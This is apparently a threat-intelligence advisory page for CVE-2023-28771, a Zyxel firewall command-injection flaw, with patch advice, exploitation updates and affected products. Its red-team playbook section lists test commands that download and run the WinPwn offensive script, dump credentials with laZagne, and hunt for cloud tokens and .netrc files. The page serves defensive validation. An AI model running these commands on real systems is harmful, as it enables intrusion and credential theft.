CVE-2023-28771
Overview
This vulnerability is a command injection flaw rooted in improper error message handling within the Zyxel ZyWALL/USG series firmware and related product lines. The flaw arises from insufficient sanitization of crafted packets processed by the VPN, USG FLEX, ATP, and ZyWALL firmware components, allowing injection of OS commands. The affected component is the packet parsing logic responsible for handling incoming VPN or network traffic, which fails to validate input before passing it to system-level command execution contexts.
Vulnerability Description
Improper error message handling in Zyxel ZyWALL/USG series firmware versions 4.60 through 4.73, VPN series firmware versions 4.60 through 5.35, USG FLEX series firmware versions 4.60 through 5.35, and ATP series firmware versions 4.60 through 5.35, which could allow an unauthenticated attacker to execute some OS commands remotely by sending crafted packets to an affected device.
Impact
An unauthenticated attacker can remotely execute arbitrary operating system commands on affected Zyxel firewall devices. This enables full system compromise, including potential data exfiltration, device control, and lateral movement within the network. No authentication or user interaction is required, making exploitation straightforward for remote attackers. The business impact includes disruption of firewall operations, exposure of sensitive network traffic, and loss of control over critical security infrastructure.
Solution
Zyxel has released security advisories recommending immediate firmware upgrades to versions beyond 4.73 for ZyWALL/USG series and beyond 5.35 for VPN, USG FLEX, and ATP series. Detailed patch instructions and advisory information are available at Zyxel's official security advisory page: https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-remote-command-injection-vulnerability-of-firewalls. Users should apply these updates promptly to mitigate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Zyxel ZyWALL/USG series, VPN series, USG FLEX series, and ATP series firmware arises from improper error message handling. This flaw allows an unauthenticated attacker to execute operating system commands remotely by sending specially crafted packets to an affected device. The issue is particularly concerning given the critical role these devices play in network security, as they are often deployed in environments that require robust protection against external threats. The improper handling of error messages can lead to a situation where an attacker gains unauthorized access to the underlying operating system, potentially compromising the integrity and confidentiality of the device and the network it protects.
Attack vectors for exploiting this vulnerability are varied and can be executed with minimal effort. An attacker could leverage network access to send malformed packets to the affected devices, triggering the improper error handling mechanism. This could be done from any location that can reach the device over the network, making it a significant threat, especially for organizations that may not have stringent network segmentation or access controls in place. Once the attacker successfully exploits the vulnerability, they can execute arbitrary commands on the device, which could lead to further exploitation of the network, data exfiltration, or even the installation of malware.
The real-world impact of this vulnerability is profound, particularly for businesses that rely on these devices for secure communications and network management. Given the high CVSS score of 9.8, the potential for severe consequences is evident. Organizations may face data breaches, loss of sensitive information, and disruption of services, all of which can lead to significant financial losses, reputational damage, and regulatory penalties. Furthermore, the ability for an attacker to execute commands remotely can facilitate lateral movement within the network, increasing the risk of a broader compromise that extends beyond the initial point of entry.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating firmware to the latest versions is crucial, as vendors typically release patches to address known vulnerabilities. Additionally, network monitoring solutions should be deployed to detect unusual traffic patterns that may indicate exploitation attempts. Intrusion detection systems can also be configured to alert administrators to potential attacks targeting these devices. Furthermore, organizations should enforce strict access controls and network segmentation to limit exposure to these devices, thereby reducing the attack surface.
In conclusion, the improper error message handling in Zyxel's firmware presents a significant security risk that organizations must address proactively. By understanding the technical details of the vulnerability, potential attack vectors, and the associated real-world impacts, businesses can better prepare their defenses. Implementing robust detection and mitigation strategies will not only help safeguard against this specific vulnerability but also enhance the overall security posture of the organization, ensuring that critical network infrastructure remains resilient against evolving threats.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2023-28771, indicating increased exploitation attempts targeting vulnerable Zyxel devices. This surge coincides with the wider availability of proof-of-concept exploits and the inclusion of a Metasploit module that facilitates remote command execution with root privileges. The amplification of attack activity underscores the heightened risk to organizations relying on affected Zyxel firmware versions, particularly as these exploits operate without requiring authentication and target default configurations. Although ransomware involvement remains unconfirmed, the ease of exploitation and privileged access gained could enable threat actors to deploy secondary payloads, including ransomware or other forms of malware, thereby elevating the potential impact. Consequently, the threat level associated with this vulnerability has intensified, warranting increased vigilance and prioritization within defensive monitoring and incident response frameworks.
Update 2 — July 10, 2026
CSURFACE threat intelligence has identified a modest but meaningful uptick in exploitation attempts targeting CVE-2023-28771, reflecting a growing interest among threat actors in leveraging this critical Zyxel firmware vulnerability. While the overall exploit activity remains contained, the increase in detections signals a potential shift toward more frequent reconnaissance or attack campaigns. This trend is particularly significant given the vulnerability’s capacity for unauthenticated remote command execution with root privileges, which continues to present a high-impact risk to affected organizations. The availability of multiple proof-of-concept exploits and an established Metasploit module further lowers the barrier for adversaries to weaponize this flaw. Although ransomware usage linked to this vulnerability remains unconfirmed, the expanding exploitation footprint elevates the urgency for defenders to maintain heightened monitoring and rapid incident response capabilities. Consequently, the threat level associated with CVE-2023-28771 has intensified from a latent to a more active exploitation phase, underscoring the necessity for ongoing vigilance in environments running vulnerable Zyxel firmware versions.
Update 3 — July 19, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2023-28771, reflected by a notable surge in detection activity across our sensors. This increase signals that threat actors are intensifying efforts to leverage the remote command injection vulnerability in Zyxel devices, likely facilitated by the availability of multiple proof-of-concept exploits and an established Metasploit module. Although ransomware involvement remains unconfirmed, the growing exploitation footprint suggests adversaries are actively probing and potentially weaponizing this flaw in the wild. This development elevates the threat level from a latent risk to a more imminent operational concern, underscoring the criticality for defenders to maintain continuous monitoring and rapid response capabilities to detect and mitigate exploitation attempts promptly.
Update 4 — August 03, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2023-28771, with telemetry indicating a significant surge in malicious activity directed at vulnerable Zyxel devices. This increase coincides with the continued availability and refinement of multiple proof-of-concept exploits, including a widely adopted Metasploit module that facilitates remote unauthenticated command execution with root privileges. Although ransomware groups have not yet been conclusively linked to this vulnerability, the intensifying exploitation footprint raises the likelihood of its incorporation into broader attack campaigns. For defenders, this development elevates the urgency of monitoring network traffic for anomalous IKE packet behavior and reinforces the criticality of rapid detection and response mechanisms. Consequently, the threat level associated with CVE-2023-28771 has shifted from a latent to a more imminent operational risk, reflecting adversaries’ growing capability and intent to weaponize this flaw in real-world environments.
Affected Products (21)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Zyxel | Atp100 Firmware | All |
cpe:2.3:o:zyxel:atp100_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Atp100w Firmware | All |
cpe:2.3:o:zyxel:atp100w_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Atp200 Firmware | All |
cpe:2.3:o:zyxel:atp200_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Atp500 Firmware | All |
cpe:2.3:o:zyxel:atp500_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Atp700 Firmware | All |
cpe:2.3:o:zyxel:atp700_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Atp800 Firmware | All |
cpe:2.3:o:zyxel:atp800_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg Flex 100 Firmware | All |
cpe:2.3:o:zyxel:usg_flex_100_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg Flex 100w Firmware | All |
cpe:2.3:o:zyxel:usg_flex_100w_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg Flex 200 Firmware | All |
cpe:2.3:o:zyxel:usg_flex_200_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg Flex 50 Firmware | All |
cpe:2.3:o:zyxel:usg_flex_50_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg Flex 500 Firmware | All |
cpe:2.3:o:zyxel:usg_flex_500_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg Flex 50w Firmware | All |
cpe:2.3:o:zyxel:usg_flex_50w_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg Flex 700 Firmware | All |
cpe:2.3:o:zyxel:usg_flex_700_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Vpn100 Firmware | All |
cpe:2.3:o:zyxel:vpn100_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Vpn1000 Firmware | All |
cpe:2.3:o:zyxel:vpn1000_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Vpn300 Firmware | All |
cpe:2.3:o:zyxel:vpn300_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Vpn50 Firmware | All |
cpe:2.3:o:zyxel:vpn50_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Zywall Usg 310 Firmware | All |
cpe:2.3:o:zyxel:zywall_usg_310_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Zywall Usg 310 Firmware | 4.73 |
cpe:2.3:o:zyxel:zywall_usg_310_firmware:4.73:-:*:*:*:*:*:*
|
|
|
Zyxel | Zywall Usg 100 Firmware | All |
cpe:2.3:o:zyxel:zywall_usg_100_firmware:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Zyxel IKE Packet Decoder Unauthenticated Remote Code Execution
exploits/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771
|
sf | Unknown | - | View |
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
benjaminhays/CVE-2023-28771-PoC
PoC for CVE-2023-28771 based on Rapid7's excellent writeup
|
benjaminhays | 30 | 8 | 2023-05-23 | View |
|
JinParkmida/cve-2023-28771-demo
|
JinParkmida | 0 | 0 | 2025-07-22 | View |
Threat Feed
22 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
52%
|
High | High | |
| CAPEC-6 | Argument Injection |
48%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-28771 |
| zyxel.com |
GitHub CVE
|
https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-remote-command-injection-vulnerability-of-firewalls |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/172820/Zyxel-IKE-Packet-Decoder-Unauthenticated-Remote-Code-Execution.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-28771 |